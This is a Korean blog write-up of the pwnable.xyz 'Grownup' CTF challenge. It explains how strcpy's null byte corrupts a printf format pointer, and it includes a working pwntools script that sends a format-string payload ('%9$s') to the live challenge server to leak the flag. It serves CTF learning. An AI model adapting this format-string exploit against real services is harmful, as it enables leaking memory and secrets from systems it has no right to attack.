상세 컨텐츠

본문 제목

[pwnable.xyz] Grownup

SYSTEM HACKING/pwnable.xyz

by koharin 2019. 9. 27. 21:36

본문

728x90
반응형

 

0x601160 주소를 0ㅌ601168 로 초기화

0x601168 주소는 "%s\n" 으로 초기화

 

 

read(0, buf, 0x10) : buf 변수에 16 바이트 입력받음. y 또는 Y를 입력만 하면 되므로 15 바이트가 남는다.

src는 0x84 바이트 malloc 받음 - read(0, src, 0x80) 로 src에 0x80 바이트 입력받음 (null 포함 X)

-> overflow는 발생 X

strcpy(usr, src) : usr에 src 문자열 복사. 이때 null termination 추가되므로 usr + 0x80 주소는 0x00 값을 가진다.

 

근데 구해보면, usr + 0x80 은 0x601160 주소이며, printf 함수에 들어가는 format 문자열의 주소이다.

따라서 setup 함수에서는 0x601160을 0x601168 으로 초기화를 했는데, strcpy에서의 null termination 추가로 인해 0x00으로 값이 바뀌어서 0x601168 -> 0x601100이 된다. 

이 말은 0x601100에 format 문자열이 들어가있는 것이다. (주소가 변조되어서)


이 주소는 usr + 0x20 에 위치하므로, Name을 입력할 때 앞의 0x20을 채우면 그 뒤에는 printf 함수의 format 문자열이 있으므로 여기에 있는 아까 입력한 flag 문자열의 주소를 %s로 출력할 수 있게된다.

 

# exploit code

 

#!/usr/bin/python                                                                      
from pwn import *

#p = process("./GrownUpRedist")
p = remote("svc.pwnable.xyz", 30004)

p.sendlineafter("Are you 18 years or older? [y/N]: ", 'y' + 'A'*7 + p32(0x601080))

pay = 'A'*0x20 + "%p"*8 + "%9$s" + "%p"*7
pay += 'B'*(0x80 - len(pay))

p.sendafter("Name: ", pay+'n')

p.interactive()

 

# exploit

 

 

 

 

728x90
반응형

'SYSTEM HACKING > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] two targets (pwnable)  (0) 2019.11.02
[pwnable.xyz] xor  (0) 2019.09.28
[pwnable.xyz] note  (0) 2019.09.27
[pwnable.xyz] misalignment  (0) 2019.09.17
[pwnable.xyz] add  (0) 2019.09.05

관련글 더보기